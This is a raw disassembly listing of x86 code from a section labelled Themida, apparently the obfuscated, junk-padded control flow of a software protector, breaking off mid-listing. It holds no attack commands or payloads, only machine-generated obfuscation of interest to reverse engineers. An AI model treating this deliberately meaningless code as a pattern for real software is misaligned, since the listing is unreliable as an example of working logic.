loc_5A052B: ; CODE XREF: Themida_:0059F65Dj
push edi
sub esp, 4
jmp loc_5AE846
; ---------------------------------------------------------------------------
loc_5A0537: ; CODE XREF: Themida_:0059CEA2j
neg edx
add edx, 0DC62CE10h
sub ebp, edx
pop edx
sub ebx, 4DAF0625h
jmp loc_5A5944
; ---------------------------------------------------------------------------
loc_5A054D: ; CODE XREF: Themida_:005988F2j
add esp, 4
mov cl, bh
pop ebx
jmp loc_59935F
; ---------------------------------------------------------------------------
loc_5A055B: ; CODE XREF: Themida_:00599591j
; Themida_:0059F290j
push dword ptr [esp]
pop edi
add esp, 4
loc_5A0562: ; CODE XREF: Themida_:0059D8C8j
sub esp, 4
jmp loc_59D7D7
; ---------------------------------------------------------------------------
loc_5A056D: ; CODE XREF: Themida_:005AF416j
push ebp
pop edx
pop ebp
not ebp
push edx
sub esp, 4
mov [esp], ebp
pop edx
mov ebp, [esp]
add esp, 4
not edx
sub edx, 2EED2DFCh
sub esi, 54DF5624h
add esi, edx
push edx
mov edx, 54DF5624h
add esi, edx
mov edx, [esp]
add esp, 4
pop edx
xchg esi, [esp]
jmp loc_5A8362
; ---------------------------------------------------------------------------
loc_5A05AA: ; CODE XREF: Themida_:005A57A1j
mov eax, [esp]
jmp loc_5A6115
; ---------------------------------------------------------------------------
loc_5A05B2: ; CODE XREF: Themida_:005A0E6Fj
shr edi, 8
jp loc_5ADBEA
add edi, 1B748BEFh
sub edi, 4E284FD3h
not edi
not edi
neg edi
sub edi, 7E9365Fh
sub edi, 2A9B9C13h
jmp loc_5A1375
; ---------------------------------------------------------------------------
loc_5A05DE: ; CODE XREF: Themida_:005A3045j
mov [esp], eax
push 4
mov eax, [esp]
add esp, 4
jmp loc_5A3595
; ---------------------------------------------------------------------------
loc_5A05F4: ; CODE XREF: Themida_:005A3698j
jmp loc_59D306
; ---------------------------------------------------------------------------
loc_5A05F9: ; CODE XREF: Themida_:0059EB87j
pop edx
push esi
push esp
pop esi
add esi, 4
jmp loc_5AAC3A
; ---------------------------------------------------------------------------
loc_5A0608: ; CODE XREF: Themida_:0059C53Aj
mov ebp, esp
add ebp, 4
jmp loc_5AA2D1
; ---------------------------------------------------------------------------
loc_5A0615: ; CODE XREF: Themida_:005AD533j
push 4E58h
jmp loc_59FFEB
; ---------------------------------------------------------------------------
loc_5A061F: ; CODE XREF: Themida_:0059875Cj
; Themida_:005A282Fj
push dword ptr [esp]
jmp loc_5AC49E
; ---------------------------------------------------------------------------
loc_5A0627: ; CODE XREF: Themida_:005A8EAFj
pop ebx
jmp loc_59FF89
; ---------------------------------------------------------------------------
loc_5A062D: ; CODE XREF: Themida_:00599276j
xor [ebx], ebp
pop ebx
pop ebp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
pop ecx
push ebp
mov ebp, 49BF324Fh
shr ebp, 4
push ebx
mov ebx, 7CA3774Eh
jmp loc_5AD9C4
; ---------------------------------------------------------------------------
loc_5A0659: ; CODE XREF: Themida_:loc_5A4498j
shl esi, 5
jnp loc_5A07E6
jmp loc_5A3C70
; ---------------------------------------------------------------------------
pop edx
push eax
mov ah, 0D6h
loc_5A066C: ; CODE XREF: Themida_:0059ACF3j
add edx, ebx
jmp loc_5AB9FB
; ---------------------------------------------------------------------------
loc_5A0673: ; CODE XREF: Themida_:005A3EACj
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_5A2EC6
; ---------------------------------------------------------------------------
loc_5A067F: ; CODE XREF: Themida_:005A0FB3j
neg al
add al, 9Eh
jmp loc_5A524D
; ---------------------------------------------------------------------------
loc_5A0688: ; CODE XREF: Themida_:005ADB5Fj
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5A1C97
; ---------------------------------------------------------------------------
loc_5A069D: ; CODE XREF: Themida_:0059EE78j
pop esi
pop edx
push 630Fh
mov [esp], esi
push 1B99h
mov [esp], ebp
pop esi
pop ebp
not ebp
xchg ebp, esi
xchg ecx, esi
not ecx
jmp loc_5AD303
; ---------------------------------------------------------------------------
loc_5A06BE: ; CODE XREF: Themida_:0059B40Fj
; Themida_:0059FC82j
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_5AC725
; ---------------------------------------------------------------------------
loc_5A06CB: ; CODE XREF: Themida_:0059FFA7j
jno loc_598802
sub esi, 58FCF9A3h
mov ebp, edx
mov esi, ecx
loc_5A06DB: ; CODE XREF: Themida_:005AF19Dj
mov esi, [esp]
jmp loc_5AB7A3
; ---------------------------------------------------------------------------
loc_5A06E3: ; CODE XREF: Themida_:0059B8A2j
mov edx, esp
add edx, 4
jmp loc_5A95EB
; ---------------------------------------------------------------------------
loc_5A06F0: ; CODE XREF: Themida_:0059CD20j
shr eax, 8
neg eax
jz loc_598917
xor eax, 0F86E6651h
push edi
mov edi, eax
mov ebx, edi
pop edi
mov eax, [esp]
jmp loc_5A6F5C
; ---------------------------------------------------------------------------
loc_5A070E: ; CODE XREF: Themida_:005AC16Aj
push edx
mov edx, 72F90669h
add eax, edx
pop edx
sub eax, 6AA14952h
add eax, ecx
add eax, 6AA14952h
jmp loc_5A70C2
; ---------------------------------------------------------------------------
loc_5A0728: ; CODE XREF: Themida_:005AB19Cj
jmp loc_5A0BD8
; ---------------------------------------------------------------------------
loc_5A072D: ; CODE XREF: Themida_:005ACA25j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push 5E47h
jmp loc_5A7EE7
; ---------------------------------------------------------------------------
loc_5A0744: ; CODE XREF: Themida_:005AD96Aj
xchg ebp, [esp]
pop esp
jmp loc_5AD9E4
; ---------------------------------------------------------------------------
loc_5A074D: ; CODE XREF: Themida_:005A987Fj
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push 33Bh
mov [esp], ebp
push esp
pop ebp
jmp loc_5990F2
; ---------------------------------------------------------------------------
loc_5A0777: ; CODE XREF: Themida_:005A39E6j
pop esp
push edi
mov edi, 25382AA9h
jmp loc_5AB49A
; ---------------------------------------------------------------------------
loc_5A0783: ; CODE XREF: Themida_:005ABFF9j
pop esi
add esp, 4
sub esp, 2
mov [esp], dx
jmp loc_5A721E
; ---------------------------------------------------------------------------
loc_5A0799: ; CODE XREF: Themida_:0059B3B4j
add eax, edi
jmp loc_5AB5EE
; ---------------------------------------------------------------------------
loc_5A07A0: ; CODE XREF: Themida_:005A6DBBj
push eax
mov eax, esp
push edi
jmp loc_59B3AF
; ---------------------------------------------------------------------------
loc_5A07A9: ; CODE XREF: Themida_:0059D64Aj
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edi
jmp loc_5A5E39
; ---------------------------------------------------------------------------
loc_5A07BA: ; CODE XREF: Themida_:005A9904j
add edx, 4
jmp loc_5ABF88
; ---------------------------------------------------------------------------
loc_5A07C5: ; CODE XREF: Themida_:005ACABFj
add ah, 10h
push edx
mov dl, ah
jmp loc_59B198
; ---------------------------------------------------------------------------
loc_5A07D0: ; CODE XREF: Themida_:0059FA84j
; Themida_:005A8805j ...
add ecx, 0DE439C4Fh
jmp loc_5AA0F8
; ---------------------------------------------------------------------------
loc_5A07DB: ; CODE XREF: Themida_:005A3CBEj
xor edi, [esp]
xor [esp], edi
jmp loc_5AA46E
; ---------------------------------------------------------------------------
loc_5A07E6: ; CODE XREF: Themida_:005A065Cj
jmp loc_5A6347
; ---------------------------------------------------------------------------
loc_5A07EB: ; CODE XREF: Themida_:005AEDBEj
pop edx
push eax
mov eax, 0
add eax, 6FE204Fh
add eax, ebx
sub eax, 6FE204Fh
push dword ptr [eax]
push 24CBh
jmp loc_59A0D2
; ---------------------------------------------------------------------------
loc_5A080A: ; CODE XREF: Themida_:0059A5ADj
or cl, bl
pop ebx
sub cl, 0CBh
jmp loc_5ADA67
; ---------------------------------------------------------------------------
loc_5A0815: ; CODE XREF: Themida_:005A7E07j
push ebx
jmp loc_59CB0C
; ---------------------------------------------------------------------------
loc_5A081B: ; CODE XREF: Themida_:005AE2A9j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
movzx cx, al
sub esp, 4
mov [esp], edi
push esp
jmp loc_5A17EF
; ---------------------------------------------------------------------------
loc_5A0837: ; CODE XREF: Themida_:005A62D5j
add esp, 4
or eax, eax
jnz loc_59CA19
mov edx, 56E45881h
dec edx
jmp loc_5A1F7A
; ---------------------------------------------------------------------------
loc_5A084D: ; CODE XREF: Themida_:005A7F2Ej
sub esi, 0FFFFFFFFh
jmp loc_59EEFD
; ---------------------------------------------------------------------------
loc_5A0855: ; CODE XREF: Themida_:0059CA42j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A085A: ; CODE XREF: Themida_:005A7088j
jg loc_5AA584
neg ebp
jbe loc_59CB05
jmp loc_59D98B
; ---------------------------------------------------------------------------
loc_5A086D: ; CODE XREF: Themida_:005AE60Bj
add edx, esi
add edx, 77427A6h
mov esi, [esp]
add esp, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_5A7A8B
; ---------------------------------------------------------------------------
loc_5A088F: ; CODE XREF: Themida_:005A4FAAj
push esp
jmp loc_5A9E5F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0B7Dh
mov [esp], ebx
push esp
pop ebx
push 4637h
mov [esp], eax
push 2EDF1025h
pop eax
jmp loc_5A52A8
; ---------------------------------------------------------------------------
loc_5A08B6: ; CODE XREF: Themida_:005AE50Bj
mov fs:[edx], al
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A08BE: ; CODE XREF: Themida_:0059D127j
xchg esi, [esp]
pop esp
jmp loc_59E827
; ---------------------------------------------------------------------------
loc_5A08C7: ; CODE XREF: Themida_:005995FCj
; Themida_:005AA7A8j
push ecx
jmp loc_59DA12
; ---------------------------------------------------------------------------
loc_5A08CD: ; CODE XREF: Themida_:005A248Aj
; Themida_:005A2ED6j
pop esp
jmp loc_5AD8CE
; ---------------------------------------------------------------------------
loc_5A08D3: ; CODE XREF: Themida_:005AD640j
xor eax, ecx
jmp loc_5ABDA1
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push 517Bh
jmp loc_5A531E
; ---------------------------------------------------------------------------
loc_5A08EA: ; CODE XREF: Themida_:005A33BBj
pop esi
push ebp
jmp loc_5A6D7F
; ---------------------------------------------------------------------------
loc_5A08F1: ; CODE XREF: Themida_:0059E9EEj
; Themida_:005A4FD4j
push edx
push 2FFA2005h
jmp loc_5AB3B3
; ---------------------------------------------------------------------------
loc_5A08FC: ; CODE XREF: Themida_:005AD29Cj
shl ebx, 6
and ebx, 2AAC54DBh
shr ebx, 2
sub ebx, 0FDBFF5B1h
jmp loc_5AD208
; ---------------------------------------------------------------------------
loc_5A0913: ; CODE XREF: Themida_:0059A43Fj
inc ebx
js loc_59D26F
xor ebx, 9C84D652h
mov ebp, ebx
mov ebx, [esp]
loc_5A0925: ; CODE XREF: Themida_:005A1FA8j
; Themida_:005AD984j
push edx
mov edx, 42861F9Ch
jmp loc_5A5310
; ---------------------------------------------------------------------------
loc_5A0930: ; CODE XREF: Themida_:0059D2D6j
xor dl, 0A9h
jmp loc_5AD92A
; ---------------------------------------------------------------------------
loc_5A0938: ; CODE XREF: Themida_:005A6B48j
pop ebp
sub ebx, edx
sub esp, 4
mov [esp], ebp
mov ebp, 7F1A39A2h
neg ebp
xor ebp, 48784FC6h
jge loc_5A8D08
dec ebp
jo loc_5A4C04
or ebp, 0DF93974h
jp loc_59B666
neg ebp
jg loc_5AEB97
push ecx
mov ecx, 3C91C503h
add ebp, ecx
pop ecx
xchg esi, ebp
loc_5A097D: ; CODE XREF: Themida_:00598449j
pop eax
jmp loc_5A5A5A
; ---------------------------------------------------------------------------
mov eax, [esp]
push eax
mov eax, esp
push ecx
mov ecx, 4
sub eax, 35781730h
add eax, ecx
add eax, 35781730h
pop ecx
jmp loc_5A1063
; ---------------------------------------------------------------------------
loc_5A09A1: ; CODE XREF: Themida_:0059C1F1j
pop edx
xor edx, 0E438F93Eh
push 2B78h
mov [esp], ebx
mov ebx, edx
mov ecx, ebx
pop ebx
jmp loc_5A6B63
; ---------------------------------------------------------------------------
loc_5A09BA: ; CODE XREF: Themida_:0059BAC7j
add ebp, 34D451DBh
sub ebp, 51F302EFh
shl ebp, 4
sub ebp, 1
sub ebp, 0FFFFFFFFh
jmp loc_59E7F9
; ---------------------------------------------------------------------------
loc_5A09D7: ; CODE XREF: Themida_:005989A1j
xchg edi, esi
not edi
xchg edi, esi
sub esi, 8BAB961Eh
xor ecx, esi
pop esi
xor ebx, ecx
pop ecx
add ecx, ebx
mov ebx, [esp]
add esp, 4
push 365Ch
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_5A229D
; ---------------------------------------------------------------------------
loc_5A0A05: ; CODE XREF: Themida_:005AC2AAj
; Themida_:loc_5AD790j
shr ebp, 2
jz loc_5A02B2
shr ebp, 1
jmp loc_5AB2C7
; ---------------------------------------------------------------------------
loc_5A0A15: ; CODE XREF: Themida_:005ABBDEj
; Themida_:005AD80Aj
not esi
sub esi, 0E4F4A5DDh
add ecx, esi
pop esi
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A81F8
; ---------------------------------------------------------------------------
loc_5A0A2F: ; CODE XREF: Themida_:0059946Dj
; Themida_:0059B141j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_5AEE14
; ---------------------------------------------------------------------------
loc_5A0A43: ; CODE XREF: Themida_:0059D488j
not ecx
dec ecx
jmp loc_5A0B6A
; ---------------------------------------------------------------------------
loc_5A0A4B: ; CODE XREF: Themida_:005AAEB5j
sub edi, ebx
pop ebx
sub ebx, 4B0436E3h
push eax
push esi
push 2611541Eh
pop esi
shr esi, 5
xor esi, 16CA010Dh
jmp loc_5AF3E4
; ---------------------------------------------------------------------------
loc_5A0A6A: ; CODE XREF: Themida_:0059B2A3j
mov edx, esp
jmp loc_59959F
; ---------------------------------------------------------------------------
loc_5A0A71: ; CODE XREF: Themida_:005AEB47j
add ebx, 0A7672EEh
jno loc_5A7D38
jmp loc_59A2CD
; ---------------------------------------------------------------------------
push esp
pop ebx
push ecx
mov ecx, 4
mov ch, al
loc_5A0A8C: ; CODE XREF: Themida_:005ACF89j
sub ebx, 0A845715h
push ebx
jmp loc_59D5FF
; ---------------------------------------------------------------------------
loc_5A0A98: ; CODE XREF: Themida_:005A7C84j
push edi
jmp loc_5AA3C1
; ---------------------------------------------------------------------------
loc_5A0A9E: ; CODE XREF: Themida_:005A5062j
add ebx, 4
jmp loc_5AEA23
; ---------------------------------------------------------------------------
loc_5A0AA9: ; CODE XREF: Themida_:005A4F3Cj
pop edi
pop eax
neg esi
jno loc_5A58E2
sub esi, 0FFFFFFFFh
xor esi, 0E553FE8Ah
xor eax, esi
mov esi, [esp]
loc_5A0AC1: ; CODE XREF: Themida_:005AAF52j
xor edx, 1009146Fh
jns loc_5AD93D
shl edx, 3
jmp loc_59A42C
; ---------------------------------------------------------------------------
add esp, 4
loc_5A0AD8: ; CODE XREF: Themida_:00598720j
shl ah, 6
sub ah, 8Ah
jns loc_5A7A5C
jmp loc_5A908E
; ---------------------------------------------------------------------------
sub ebx, 140148EAh
loc_5A0AEF: ; CODE XREF: Themida_:005A8C32j
sub esp, 4
mov [esp], ecx
push eax
mov ah, 3Bh
mov ch, 70h
xor ch, ah
jmp loc_599B5E
; ---------------------------------------------------------------------------
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push ecx
pop edi
pop ecx
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
jmp loc_5AD65B
; ---------------------------------------------------------------------------
loc_5A0B2B: ; CODE XREF: Themida_:0059A9E8j
jmp loc_5AAC5F
; ---------------------------------------------------------------------------
loc_5A0B30: ; CODE XREF: Themida_:005A6A20j
mov ecx, [esp]
jmp loc_59AFCE
; ---------------------------------------------------------------------------
loc_5A0B38: ; CODE XREF: Themida_:005ABD39j
sub eax, 2E8A5AE4h
mov ecx, [esp]
add esp, 4
jmp loc_59B9DD
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A42DB
; ---------------------------------------------------------------------------
loc_5A0B6A: ; CODE XREF: Themida_:005A0A46j
not ecx
shr ecx, 1
jmp loc_59A21A
; ---------------------------------------------------------------------------
loc_5A0B73: ; CODE XREF: Themida_:00599691j
jz loc_5A9805
xor esi, 2D21BCABh
push 4BBDh
mov [esp], eax
push esi
add dword ptr [esp], 23652598h
pop eax
jmp loc_59C4A3
; ---------------------------------------------------------------------------
loc_5A0B95: ; CODE XREF: Themida_:005A9403j
pop ebx
xor dh, bh
xor bh, dh
xor dh, bh
push cx
mov cl, bh
not cl
mov bh, cl
mov cx, [esp]
add esp, 2
xchg bh, dh
jmp loc_59C0E4
; ---------------------------------------------------------------------------
loc_5A0BB2: ; CODE XREF: Themida_:005AD8E9j
add [esp+8], edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5A297C
; ---------------------------------------------------------------------------
loc_5A0BC5: ; CODE XREF: Themida_:0059B5D8j
add ecx, 9470C21h
push dword ptr [esp]
pop eax
add esp, 4
push esi
jmp loc_59D9B4
; ---------------------------------------------------------------------------
loc_5A0BD8: ; CODE XREF: Themida_:loc_5A0728j
shl edi, 2
jmp loc_5A2255
; ---------------------------------------------------------------------------
loc_5A0BE0: ; CODE XREF: Themida_:0059AB87j
mov dl, cl
mov ecx, [esp]
add esp, 4
shl dl, 8
push bx
push edx
mov dh, 0C4h
mov bl, 0BFh
add bl, dh
pop edx
jmp loc_599676
; ---------------------------------------------------------------------------
loc_5A0BFD: ; CODE XREF: Themida_:005A0295j
; Themida_:005AAFEDj
inc ebp
jmp loc_5AEFA8
; ---------------------------------------------------------------------------
loc_5A0C03: ; CODE XREF: Themida_:0059CEEAj
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_5AEA15
; ---------------------------------------------------------------------------
loc_5A0C0F: ; CODE XREF: Themida_:005A499Ej
add ebx, 4
add ebx, 4
jmp loc_59BB9C
; ---------------------------------------------------------------------------
loc_5A0C1D: ; CODE XREF: Themida_:0059CDEDj
push edi
push 56C80759h
jmp loc_59D096
; ---------------------------------------------------------------------------
loc_5A0C28: ; CODE XREF: Themida_:0059CF06j
push eax
mov al, 0D4h
add cl, al
jmp loc_59EA91
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push ebx
mov ebx, esp
push ecx
push edi
mov edi, 15722BC3h
mov ecx, 15722BC7h
xor ecx, edi
mov edi, [esp]
add esp, 4
add ebx, ecx
pop ecx
jmp loc_5AC22F
; ---------------------------------------------------------------------------
loc_5A0C58: ; CODE XREF: Themida_:005AF4E6j
pop esi
push ecx
push ebx
mov ebx, 304E7DEDh
mov ecx, ebx
jmp loc_59844E
; ---------------------------------------------------------------------------
loc_5A0C67: ; CODE XREF: Themida_:005A13E3j
or ebp, 3A534ADh
push 0
sub [esp], ebp
pop ebp
sub ebp, 0D8004B0Fh
push ebp
jmp loc_5ABC48
; ---------------------------------------------------------------------------
loc_5A0C82: ; CODE XREF: Themida_:0059D7F8j
push ecx
not byte ptr [esp]
jmp loc_59C68B
; ---------------------------------------------------------------------------
loc_5A0C8B: ; CODE XREF: Themida_:005A1562j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_599129
; ---------------------------------------------------------------------------
loc_5A0C9F: ; CODE XREF: Themida_:005AC50Ej
sub esi, 8E85FFE9h
mov ebx, esi
pop esi
jmp loc_5A6E7A
; ---------------------------------------------------------------------------
loc_5A0CAD: ; CODE XREF: Themida_:0059ACA3j
push dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59C7C9
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A883F
; ---------------------------------------------------------------------------
loc_5A0CC7: ; CODE XREF: Themida_:005A478Dj
mov ecx, 0B2973A0h
push edi
mov edi, 1BF6411Eh
add edi, 0F53DC723h
mov eax, edi
pop edi
xor eax, ecx
pop ecx
sub esp, 4
mov [esp], edi
mov edi, 0
sub edi, eax
xchg eax, edi
jmp loc_5AD1B5
; ---------------------------------------------------------------------------
loc_5A0CF1: ; CODE XREF: Themida_:005A7390j
inc esi
jmp loc_5AE7F1
; ---------------------------------------------------------------------------
loc_5A0CF7: ; CODE XREF: Themida_:005A910Cj
mov ebp, 1D1A0CF4h
xor ebp, ebx
pop ebx
sub [esp+4], ebp
mov ebp, [esp]
push ecx
jmp loc_5A405D
; ---------------------------------------------------------------------------
loc_5A0D0C: ; CODE XREF: Themida_:005AA26Ej
xor ebx, [esp]
pop esp
add esi, 4
push edx
mov edx, 4BBB4B83h
shr edx, 3
shl edx, 5
jmp loc_5AF415
; ---------------------------------------------------------------------------
loc_5A0D27: ; CODE XREF: Themida_:005AE26Fj
mov ecx, [esp]
add esp, 4
push eax
mov eax, 312F1C5Fh
sub eax, 6218252h
jmp loc_5A27D5
; ---------------------------------------------------------------------------
loc_5A0D40: ; CODE XREF: Themida_:00599538j
sub esp, 4
mov [esp], ebx
jmp loc_59950A
; ---------------------------------------------------------------------------
loc_5A0D4E: ; CODE XREF: Themida_:0059D354j
pop esp
add eax, ebx
push ebx
push esi
push 57F048CDh
pop esi
sub esi, 4820CB06h
jmp loc_5ACAD0
; ---------------------------------------------------------------------------
loc_5A0D64: ; CODE XREF: Themida_:0059BDFAj
mov ecx, [esp]
add esp, 4
jmp loc_59C426
; ---------------------------------------------------------------------------
loc_5A0D6F: ; CODE XREF: Themida_:005AB495j
inc bh
push eax
mov eax, esp
jmp loc_5A896B
; ---------------------------------------------------------------------------
loc_5A0D79: ; CODE XREF: Themida_:005A9048j
pop eax
jmp loc_5A87B0
; ---------------------------------------------------------------------------
loc_5A0D7F: ; CODE XREF: Themida_:0059B8DFj
push esp
pop ebp
jmp loc_5A9793
; ---------------------------------------------------------------------------
loc_5A0D86: ; CODE XREF: Themida_:005A4582j
add eax, 56A27872h
add eax, esi
sub eax, 56A27872h
pop esi
push 6053h
mov [esp], eax
push eax
mov eax, 226E73DCh
xor [esp+4], eax
pop eax
pop ebp
jmp loc_59A6F8
; ---------------------------------------------------------------------------
loc_5A0DAC: ; CODE XREF: Themida_:0059A04Fj
mov ecx, 2
add eax, ecx
jmp loc_5A3544
; ---------------------------------------------------------------------------
loc_5A0DB8: ; CODE XREF: Themida_:005AE302j
inc eax
jmp loc_5A562A
; ---------------------------------------------------------------------------
loc_5A0DBE: ; CODE XREF: Themida_:0059944Aj
pop edx
jmp loc_598584
; ---------------------------------------------------------------------------
loc_5A0DC4: ; CODE XREF: Themida_:005A3AFCj
and eax, 6E370A4Bh
jmp loc_5AA39F
; ---------------------------------------------------------------------------
loc_5A0DCE: ; CODE XREF: Themida_:0059A41Bj
add eax, 494674CCh
mov esi, [esp]
add esp, 4
push ebp
jmp loc_5A0029
; ---------------------------------------------------------------------------
loc_5A0DDF: ; CODE XREF: Themida_:005ACE23j
pop esp
mov [esp], ebx
mov ebx, esp
jmp loc_5AA628
; ---------------------------------------------------------------------------
loc_5A0DEA: ; CODE XREF: Themida_:005AB40Cj
sub esp, 4
mov [esp], edx
jmp loc_59DF40
; ---------------------------------------------------------------------------
loc_5A0DF8: ; CODE XREF: Themida_:005A62CDj
mov edx, [esp]
jmp loc_5A40B2
; ---------------------------------------------------------------------------
loc_5A0E00: ; CODE XREF: Themida_:005A8C14j
mov ecx, 469B2150h
shl ecx, 5
shr ecx, 3
shl ecx, 5
xor ecx, 6D2D8926h
or ebx, ecx
jmp loc_59F927
; ---------------------------------------------------------------------------
loc_5A0E1B: ; CODE XREF: Themida_:005A7AB7j
pop eax
jmp loc_5A8926
; ---------------------------------------------------------------------------
loc_5A0E21: ; CODE XREF: Themida_:005AEFAAj
not edx
xchg edx, ebp
sub ebp, 4D521BEAh
add ebp, 79C201Dh
xor ebp, 4683A6DEh
sub edx, ebp
jmp loc_5A8BAA
; ---------------------------------------------------------------------------
loc_5A0E3E: ; CODE XREF: Themida_:005A3CB6j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A0E43: ; CODE XREF: Themida_:005ADF85j
add ecx, 3419449Dh
sub ecx, 413D1BCBh
jmp loc_5AAA25
; ---------------------------------------------------------------------------
loc_5A0E54: ; CODE XREF: Themida_:0059AB76j
jnz loc_59CC81
add ebp, 1837740Eh
jl loc_598A1C
push esi
loc_5A0E67: ; CODE XREF: Themida_:005AD9D8j
push esi
jmp loc_5AB5D0
; ---------------------------------------------------------------------------
loc_5A0E6D: ; CODE XREF: Themida_:005AABBAj
neg edi
jbe loc_5A05B2
shr edi, 8
jp loc_598BC5
add edi, 1B748BEFh
loc_5A0E84: ; CODE XREF: Themida_:005A4378j
neg ebx
jbe loc_5A60EB
and ebx, 68BB541Dh
jmp loc_59B09F
; ---------------------------------------------------------------------------
mov ebx, esi
pop esi
loc_5A0E9A: ; CODE XREF: Themida_:005A9F7Ej
push ecx
mov ecx, esp
jmp loc_5A479D
; ---------------------------------------------------------------------------
loc_5A0EA2: ; CODE XREF: Themida_:005A31D3j
not ecx
push 53A5h
mov [esp], ebx
mov ebx, 5A657D99h
xor ecx, ebx
jmp loc_59A60A
; ---------------------------------------------------------------------------
loc_5A0EB8: ; CODE XREF: Themida_:005A65DAj
; Themida_:005ABC96j
add edx, 56D002BBh
jmp loc_59A6B6
; ---------------------------------------------------------------------------
loc_5A0EC3: ; CODE XREF: Themida_:0059EC59j
add ebx, ecx
pop ecx
sub ebx, 21F238B3h
add ebx, ebp
add ebx, 21F238B3h
sub ebx, 24045320h
mov ebp, [esp]
add esp, 4
jmp loc_59F7A4
; ---------------------------------------------------------------------------
loc_5A0EE8: ; CODE XREF: Themida_:005A4CAFj
mov [esp], edx
push eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A0EF2: ; CODE XREF: Themida_:00599EC9j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A1BD2
; ---------------------------------------------------------------------------
loc_5A0F04: ; CODE XREF: Themida_:005A89EFj
add esp, 4
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A0F16: ; CODE XREF: Themida_:0059F56Dj
add ecx, edx
pop edx
push eax
mov eax, 580E1CA5h
sub ecx, 5ADF18C3h
sub ecx, eax
add ecx, 5ADF18C3h
jmp loc_59B033
; ---------------------------------------------------------------------------
loc_5A0F32: ; CODE XREF: Themida_:loc_59F510j
and ebx, 11D108BBh
jle loc_5AEF31
sub ebx, 1000C09Bh
and eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_5AE121
; ---------------------------------------------------------------------------
loc_5A0F4F: ; CODE XREF: Themida_:0059B3BBj
pop ebp
add eax, edi
add eax, 731926F3h
sub eax, 122D24E4h
jmp loc_5A11E3
; ---------------------------------------------------------------------------
loc_5A0F61: ; CODE XREF: Themida_:005A486Fj
push 65B4h
mov [esp], edx
jmp loc_59DBDB
; ---------------------------------------------------------------------------
loc_5A0F6E: ; CODE XREF: Themida_:005A9FB6j
not esi
push ebx
mov ebx, 0FF7FFEF9h
xor esi, ebx
mov ebx, [esp]
add esp, 4
mov ecx, esi
pop esi
add ebp, ecx
pop ecx
xchg ebp, [esp]
jmp loc_5AD210
; ---------------------------------------------------------------------------
loc_5A0F8C: ; CODE XREF: Themida_:005ABF5Fj
xor eax, 1B8A5385h
mov edi, eax
pop eax
shl edi, 1
sub edi, 46D13434h
add esi, edi
jmp loc_59EF24
; ---------------------------------------------------------------------------
loc_5A0FA3: ; CODE XREF: Themida_:005989FEj
pop esp
add ebp, 4
xchg ebp, [esp]
jmp loc_5A4A0C
; ---------------------------------------------------------------------------
loc_5A0FAF: ; CODE XREF: Themida_:0059E154j
push ax
mov al, 7Fh
jmp loc_5A067F
; ---------------------------------------------------------------------------
loc_5A0FB8: ; CODE XREF: Themida_:0059BC0Ej
shr ebp, 7
sub ebp, 0FFFFFFFFh
add ebp, 67A722BCh
sub ebp, 68A641B2h
add ecx, ebp
pop ebp
jmp loc_5ACEF5
; ---------------------------------------------------------------------------
loc_5A0FD5: ; CODE XREF: Themida_:005A1365j
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
div cl
movzx cx, ah
push small 5121h
mov [esp], cx
jmp loc_5AC45B
; ---------------------------------------------------------------------------
loc_5A0FF4: ; CODE XREF: Themida_:005AC215j
add eax, 4
add eax, 4
jmp loc_5A6BD4
; ---------------------------------------------------------------------------
loc_5A1001: ; CODE XREF: Themida_:005A40D8j
mov al, 7Eh
push 1DEAh
mov [esp], ecx
jmp loc_5A26BC
; ---------------------------------------------------------------------------
loc_5A1010: ; CODE XREF: Themida_:005AADF3j
mov ebp, 45D15DF8h
sub ecx, ebp
pop ebp
add ecx, 7E30678Eh
jmp loc_59B465
; ---------------------------------------------------------------------------
loc_5A1023: ; CODE XREF: Themida_:005A6F88j
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_5A6AA6
; ---------------------------------------------------------------------------
loc_5A1036: ; CODE XREF: Themida_:005A53C7j
push 2803h
jmp loc_5A4E4F
; ---------------------------------------------------------------------------
loc_5A1040: ; CODE XREF: Themida_:005AC0EFj
mov esi, [esp]
add esp, 4
add ebx, 3D0669E3h
push edi
mov edi, 0B8C52F8h
jmp loc_5A253B
; ---------------------------------------------------------------------------
loc_5A1057: ; CODE XREF: Themida_:0059E1A9j
; Themida_:005A26FDj
mov esp, [esp]
